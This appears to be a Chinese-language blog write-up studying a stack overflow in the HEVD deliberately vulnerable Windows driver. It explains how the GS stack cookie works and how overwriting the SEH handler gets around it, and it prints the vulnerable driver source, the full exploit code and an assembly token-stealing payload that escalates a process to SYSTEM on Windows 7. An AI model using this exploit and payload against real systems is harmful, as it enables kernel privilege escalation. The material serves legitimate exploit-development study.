內核漏洞學習-HEVD-StackOverflowGS
概述
HEVD:漏洞靶場,包含各種Windows內核漏洞的驅動程序項目,在Github上就可以找到該項目,進行相關的學習。
Releases · hacksysteam/HackSysExtremeVulnerableDriver · GitHub(https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/releases)
Windows 7 X86 sp1 虛擬機
使用VirtualKD和windbg雙機調試
HEVD 3.0+KmdManager+DubugView
前置知識
(1)棧中的守護天使:GS
安全編譯選項-GS

GS編譯選項為每個函數調用增加了一些額外的數據和操作,用以檢測棧中的溢出。
在所有函數調用發生時,向棧幀內壓入一個額外的隨機 DWORD,隨機數標注為“SecurityCookie”。
Security Cookie位于EBP之前,系統還將在.data的內存區域中存放一個Security Cookie的副本,如圖:

當棧中發生溢出時,Security Cookie將被首先淹沒,之后才是EBP和返回地址。在函數返回之前,系統將執行一個額外的安全驗證操作,被稱做 Security check。
在Security Check的過程中,系統將比較棧幀中原先存放的Security Co okie和.data中副本的值,如果兩者不吻合,說明棧幀中的Security Cookie已被破壞,即棧中發生了溢出。
當檢測到棧中發生溢出時,系統將進入異常處理流程,函數不會被正常返回,ret 指令也不會被執行,如圖:

但是額外的數據和操作帶來的直接后果就是系統性能的下降,為了將對性能的影響降到最小,編譯器在編譯程序的時候并不是對所有的函數都應用GS,以下情況不會應用GS。
(1)函數不包含緩沖區。
(2)函數被定義為具有變量參數列表。
(3)函數使用無保護的關鍵字標記。
(4)函數在第一個語句中包含內嵌匯編代碼。
(5)緩沖區不是8字節類型且大小不大于4個字節。
除了在返回地址前添加Security Cookie外,在Visual Studio 2005及后續版本還使用了變量重排技術,在編譯時根據局部變量的類型對變量在棧幀中的位置進行調整,將字符串變量移動到棧幀的高地址。這樣可以防止該字符串溢出時破壞其他的局部變量。同時還會將指針參數和字符串參數復制到內存中低地址,防止函數參數被破壞。如圖:

通過GS安全編譯選項,操作系統能夠在運行中有效地檢測并阻止絕大多數基于棧溢出的攻擊。要想硬對硬地沖擊GS機制,是很難成功的。讓我們再來看看Security C ookie產生的細節。
① 系統以.data節的第一個雙字作為Cookie的種子,或稱原始Cookie(所有函數的eCookie都用這個DWORD生成)。
② 在程序每次運行時Cookie 的種子都不同,因此種子有很強的隨機性。
③ 在棧楨初始化以后系統用ESP異或種子,作為當前函數的Cookie,以此作為不同函數之間的區別,并增加Cookie的隨機性。
④ 在函數返回前,用ESP還原出(異或)Cookie 的種子。
在微軟出版的Writing Secure Code一書中談到GS選項時,作者還給出了微軟內部對GS為產品所提供的安全保護的看法:
修改棧幀中函數返回地址的經典攻擊將被GS機制有效遏制;
基于改寫函數指針的攻擊,GS很難防御;
針對異常處理機制的攻擊,GS很難防御;
GS是對棧幀的保護機制,因此很難防御堆溢出的攻擊。
所以繞過GS保護有幾種方法:
① 利用未被保護的內存突破GS
② 覆蓋虛函數突破GS
③ 攻擊異常處理突破GS
④ 同時替換棧中和.data中的Cookie突破GS
(2)攻擊SEH繞過GS保護
GS機制并沒有對S.E.H 提供保護,換句話說我們可以通過攻擊程序的異常處理達到繞過GS 的目的。我們首先通過超長字符串覆蓋掉異常處理函數指針,然后想辦法觸發一個異常,程序就會轉入異常處理,由于異常處理函數指針已經被我們覆蓋,那么我們就可以通過劫持S.E.H 來控制程序的后續流程。
每個SEH結構體包含兩個DWORD指針:SEH鏈表指針next seh和異常處理函數句柄Exception handler,共八個字節,存放于棧中。如下圖所示,其中SEH鏈表指針next seh用于指向下一個SEH結構體,異常處理函數句柄Exception handler為一個異常處理函數。
EXCEPTION_DISPOSITION__cdecl _except_handler( struct _EXCEPTION_RECORD *ExceptionRecord, void * EstablisherFrame, struct _CONTEXT *ContextRecord, void * DispatcherContext);

Visual C++為使用結構化異常處理的函數生成的標準異常堆棧幀,它看起來像下面這個樣子:
EBP-00 _ebpEBP-04 trylevelEBP-08 scopetable數組指針EBP-0C handler函數地址EBP-10指向前一個EXCEPTION_REGISTRATION結構EBP-14 GetExceptionInformationEBP-18 棧幀中的標準ESP
(0day第十章有詳細介紹)
關于異常更詳細的知識:
[原創]內核學習-異常處理-軟件逆向-看雪論壇-安全社區|安全招聘|bbs.pediy.com(https://bbs.pediy.com/thread-270045.htm)
漏洞點分析
漏洞原理:棧溢出漏洞,使用過程中使用危險的函數,沒有對參數進行限制
BufferOverflowStackGS開啟GS保護。
(1)加載驅動
(這部分內容直接使用上一篇分析的HEVD_BufferOverflowStack的圖片了)
安裝驅動程序,使用kmdManager 加載驅動程序,DebugView檢測內核,可以看到加載驅動程序成功。

windbg:

lm 查看所有已加載模塊lm m H* 設置過濾,查找HEVD模塊lm m HEVD

(2)分析漏洞點
對BufferOverflowStackGS.c源碼進行分析,漏洞函數TriggerBufferOverflowStackGS,存在明顯的棧溢出漏洞,RtlCopyMemory函數沒有對KernelBuffer大小進行驗證,直接將size大小的userbuffer傳入緩沖區,沒有進行大小的限制(例如安全版本的sizeof(KernelBuffer)),因此造成棧溢出。
因為開啟了GS保護,所以對于BufferOverflowStackGS,不使用攻擊返回地址,而攻擊SEH,覆蓋SEH handle ,人為構造異常,觸發異常,執行異常處理函數(此時異常處理函數是我們的payload),這個步驟發生在再返回地址,檢查cookie之前。
#define BUFFER_SIZE 512 NTSTATUSTriggerBufferOverflowStackGS( _In_ PVOID UserBuffer, _In_ SIZE_T Size){ NTSTATUS Status = STATUS_SUCCESS; UCHAR KernelBuffer[BUFFER_SIZE] = { 0 }; PAGED_CODE(); __try { ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR)); DbgPrint("[+] UserBuffer: 0x%p", UserBuffer); DbgPrint("[+] UserBuffer Size: 0x%X", Size); DbgPrint("[+] KernelBuffer: 0x%p", &KernelBuffer); DbgPrint("[+] KernelBuffer Size: 0x%X", sizeof(KernelBuffer)); #ifdef SECURE RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));//安全版本#else DbgPrint("[+] Triggering Buffer Overflow in Stack (GS)"); RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);//不安全版本,未對size做限制#endif } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint("[-] Exception Code: 0x%X", Status); } return Status;}
漏洞利用
因為GS保護在棧中有cookie,所以無法溢出到返回地址,那就溢出到SEH handle。
windbg調試:
1、在TriggerBufferOverflowStackGS函數處下斷點
kd>bp HEVD!TriggerBufferOverflowStackGS
2、
kd>g //運行kd>r //查看寄存器

ebp:971c1ae0
3、運行exp,找到seh handle 距離kernelbuffer的偏移(后面再說exp的原理)。

kernelbuffer:971c18b4
4、Visual C++為使用結構化異常處理的函數生成的標準異常堆棧幀,它看起來像下面這個樣子:
EBP-00 _ebpEBP-04 trylevelEBP-08 scopetable數組指針EBP-0C handler函數地址EBP-10指向前一個EXCEPTION_REGISTRATION結構EBP-14 GetExceptionInformationEBP-18 棧幀中的標準ESP
EBP-0C handler函數地址=971c1ae0-0c=971c1ad4
971c1ad4-kernelbuffer:971c18b4=220, 所以 想要覆蓋到handler函數地址 需要大小0x224,偏移確定了,分析下exp原理。
5、構造exp(官方exp)
具體原理看注釋:
DWORD WINAPI StackOverflowGSThread(LPVOID Parameter) { HANDLE hFile = NULL; ULONG BytesReturned; SIZE_T PageSize = 0x1000; HANDLE Sharedmemory = NULL; PVOID MemoryAddress = NULL; PVOID SuitableMemoryForBuffer = NULL; LPCSTR FileName = (LPCSTR)DEVICE_NAME; LPVOID SharedMappedMemoryAddress = NULL; SIZE_T SeHandlerOverwriteOffset = 0x214; PVOID EopPayload = &TokenStealingPayladGSWin7; LPCTSTR SharedMemoryName = (LPCSTR)SHARED_MEMORY_NAME; __try { // 獲得設備句柄 DEBUG_MESSAGE("\t[+] Getting Device Driver Handle"); DEBUG_INFO("\t\t[+] Device Name: %s", FileName); hFile = GetDeviceHandle(FileName); if (hFile == INVALID_HANDLE_VALUE) { DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X", GetLastError()); exit(EXIT_FAILURE); } else { DEBUG_INFO("\t\t[+] Device Handle: 0x%X", hFile); } DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage"); DEBUG_INFO("\t\t[+] Creating Shared Memory"); // Create the shared memory //CreateFileMapping 用于創建一個文件映射內核對象 Sharedmemory = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, PageSize, SharedMemoryName); if (!Sharedmemory) { DEBUG_ERROR("\t\t\t[-] Failed To Create Shared Memory: 0x%X", GetLastError()); exit(EXIT_FAILURE); } else { DEBUG_INFO("\t\t\t[+] Shared Memory Handle: 0x%p", Sharedmemory); } DEBUG_INFO("\t\t[+] Mapping Shared Memory To Current Process Space"); // Map the shared memory in the process space of this process //MapViewOfFile 將一個文件映射對象映射到當前應用程序的地址空間 SharedMappedMemoryAddress = MapViewOfFile(Sharedmemory, FILE_MAP_ALL_ACCESS, 0, 0, PageSize); if (!SharedMappedMemoryAddress) { DEBUG_ERROR("\t\t\t[-] Failed To Map Shared Memory: 0x%X", GetLastError()); exit(EXIT_FAILURE); } else { DEBUG_INFO("\t\t\t[+] Mapped Shared Memory: 0x%p", SharedMappedMemoryAddress); } SuitableMemoryForBuffer = (PVOID)((ULONG)SharedMappedMemoryAddress + (ULONG)(PageSize - SeHandlerOverwriteOffset));//SeHandlerOverwriteOffset 0x224大小,距離se handle的偏移 DEBUG_INFO("\t\t[+] Suitable Memory For Buffer: 0x%p", SuitableMemoryForBuffer); DEBUG_INFO("\t\t[+] Preparing Buffer Memory Layout"); RtlFillMemory(SharedMappedMemoryAddress, PageSize, 0x41);//'A'填充 MemoryAddress = (PVOID)((ULONG)SuitableMemoryForBuffer + 0x204); *(PULONG)MemoryAddress = 0x42424242; DEBUG_INFO("\t\t\t[+] XOR'ed GS Cookie Value: 0x%p", *(PULONG)MemoryAddress); DEBUG_INFO("\t\t\t[+] XOR'ed GS Cookie Address: 0x%p", MemoryAddress); MemoryAddress = (PVOID)((ULONG)MemoryAddress + 0x4); *(PULONG)MemoryAddress = 0x43434343; MemoryAddress = (PVOID)((ULONG)MemoryAddress + 0x4); *(PULONG)MemoryAddress = 0x44444444; DEBUG_INFO("\t\t\t[+] Next SE Handler Value: 0x%p", *(PULONG)MemoryAddress); DEBUG_INFO("\t\t\t[+] Next SE Handler Address: 0x%p", MemoryAddress); MemoryAddress = (PVOID)((ULONG)MemoryAddress + 0x4); *(PULONG)MemoryAddress = (ULONG)EopPayload; // EopPayload覆蓋SE Handler,SuitableMemoryForBuffer+0x220 DEBUG_INFO("\t\t\t[+] SE Handler Value: 0x%p", *(PULONG)MemoryAddress); DEBUG_INFO("\t\t\t[+] SE Handler Address: 0x%p", MemoryAddress); DEBUG_INFO("\t\t[+] EoP Payload: 0x%p", EopPayload); DEBUG_MESSAGE("\t[+] Triggering Kernel Stack Overflow GS"); OutputDebugString("****************Kernel Mode****************"); DeviceIoControl(hFile, HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS, (LPVOID)SuitableMemoryForBuffer,// SuitableMemoryForBuffer = (PVOID)((ULONG)SharedMappedMemoryAddress + (ULONG)(PageSize - SeHandlerOverwriteOffset));//SeHandlerOverwriteOffset 0x224大小,距離se handle的偏移 (DWORD)SeHandlerOverwriteOffset + RAISE_EXCEPTION_IN_KERNEL_MODE,//RAISE_EXCEPTION_IN_KERNEL_MODE 0x4,利用這個多出來的0x4大小,使得驅動訪問無效內存,觸發異常 NULL, 0, &BytesReturned, NULL); OutputDebugString("****************Kernel Mode****************"); } __except (EXCEPTION_EXECUTE_HANDLER) { DEBUG_ERROR("\t\t[-] Exception: 0x%X", GetLastError()); exit(EXIT_FAILURE); } return EXIT_SUCCESS;}
HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS控制碼對應的派遣函數BufferOverflowStackGSIoctlHandler。
DriverEntry{.......DriverObject->MajorFunction[IRP_MJ_CREATE] = IrpCreateCloseHandler;DriverObject->MajorFunction[IRP_MJ_CLOSE] = IrpCreateCloseHandler;DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IrpDeviceIoCtlHandler; ........}
IrpDeviceIoCtlHandler( _In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP Irp){ ULONG IoControlCode = 0; PIO_STACK_LOCATION IrpSp = NULL; NTSTATUS Status = STATUS_NOT_SUPPORTED; UNREFERENCED_PARAMETER(DeviceObject); PAGED_CODE(); IrpSp = IoGetCurrentIrpStackLocation(Irp); IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode; if (IrpSp) { switch (IoControlCode) { case HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS: DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS ******"); Status = BufferOverflowStackGSIoctlHandler(Irp, IrpSp); DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS ******"); break; } }
BufferOverflowStackGSIoctlHandler函數調用TriggerBufferOverflowStackGS觸發漏洞函數。
BufferOverflowStackGSIoctlHandler( _In_ PIRP Irp, _In_ PIO_STACK_LOCATION IrpSp){ SIZE_T Size = 0; PVOID UserBuffer = NULL; NTSTATUS Status = STATUS_UNSUCCESSFUL; UNREFERENCED_PARAMETER(Irp); PAGED_CODE(); //首先將指定的Method參數設置為METHOD_NEITHER。DeviceI0Control函數中 //往驅動中Input數據:通過I/O堆棧的Parameters.DeviceIoControl.Type3InputBuffer得到DeviceIoControl提供的輸入緩沖區地址,Parameters.DeviceIoControl.InputBufferLength得到其長度。 UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer; Size = IrpSp->Parameters.DeviceIoControl.InputBufferLength; if (UserBuffer) { Status = TriggerBufferOverflowStackGS(UserBuffer, Size); } return Status;}
payload功能:遍歷進程,得到系統進程的token,把當前進程的token替換,達到提權目的。
相關內核結構體:
在內核模式下,fs:[0]指向KPCR結構體。
_KPCR+0x120 PrcbData : _KPRCB_KPRCB+0x004 CurrentThread : Ptr32 _KTHREAD,_KTHREAD指針,這個指針指向_KTHREAD結構體_KTHREAD+0x040 ApcState : _KAPC_STATE_KAPC_STATE+0x010 Process : Ptr32 _KPROCESS,_KPROCESS指針,這個指針指向EPROCESS結構體_EPROCESS +0x0b4 UniqueProcessId : Ptr32 Void,當前進程ID,系統進程ID=0x04 +0x0b8 ActiveProcessLinks : _LIST_ENTRY,雙向鏈表,指向下一個進程的ActiveProcessLinks結構體處,通過這個鏈表我們可以遍歷所有進程,以尋找我們需要的進程 +0x0f8 Token : _EX_FAST_REF,描述了該進程的安全上下文,同時包含了進程賬戶相關的身份以及權限
payload:
__asm { pushad ; 保存寄存器 xor eax, eax ;eax置0 mov eax, fs:[eax + KTHREAD_OFFSET] ; 獲得當前線程的_KTHREAD結構,KTHREAD_OFFSET=0x124 ; FS:[0x124] 是 _KTHREAD結構 mov eax, [eax + EPROCESS_OFFSET] ; 找到_EPROCESS結構, nt!_KTHREAD.ApcState.Process,EPROCESS_OFFSET 0x50 mov ecx, eax ; ecx ,當前進程Eprocess結構體 mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4 SearchSystemPID: mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink,FLINK_OFFSET=0xb8 sub eax, FLINK_OFFSET cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId,PID_OFFSET=0xb4 jne SearchSystemPID ;遍歷鏈表根據PID判斷是否為SYSTEM_PID(0x4) //替換token mov edx, [eax + TOKEN_OFFSET] ; 獲得系統進程token 。TOKEN_OFFSET=0xf8 mov [ecx + TOKEN_OFFSET], edx ; 系統進程token替換當前進程token ; End of Token Stealing Stub popad ; Restore registers state ; Kernel Recovery Stub xor eax, eax ; Set NTSTATUS SUCCEESS add esp, 12 ; Fix the stack pop ebp ; Restore saved EBP ret 8 ; Return cleanly }
提權成功:

在網上看到的一個思路,沒有獲取se handle到kernelbuffer的偏移,而是直接將緩沖區數據全部寫成payload地址。
memset(pMapView, 'a', PAGE_SIZE); PULONG pOverflowBuffer = (PULONG)((ULONG)pMapView + (PAGE_SIZE - BUFFER_SIZE));// pOverflowBuffer 到被設置為映射內存區的尾部,差BUFFER_SIZE大小 for (ULONG i= 0; i < BUFFER_SIZE; i += 4) { *(PULONG)((ULONG)pOverflowBuffer + i) = (ULONG)&payload; } ULONG length = 0; BOOL ret = DeviceIoControl(hDevice, CASE_ID, (LPVOID)pOverflowBuffer, BUFFER_SIZE + MISS_PAGE_SIZE, //pOverflowBuffer +BUFFER_SIZE + MISS_PAGE_SIZE---》導致驅動訪問MISS_PAGE_SIZE大小的無效內存,觸發異常 NULL, 0, &length, NULL);
測試結果,藍屏了。
補丁分析
對RtlCopyMemory的參數進行嚴格的設置,使用sizeof(kernelbuffer)。
其他:
剛接觸內核漏洞,如果有哪寫的不對,希望大佬們指出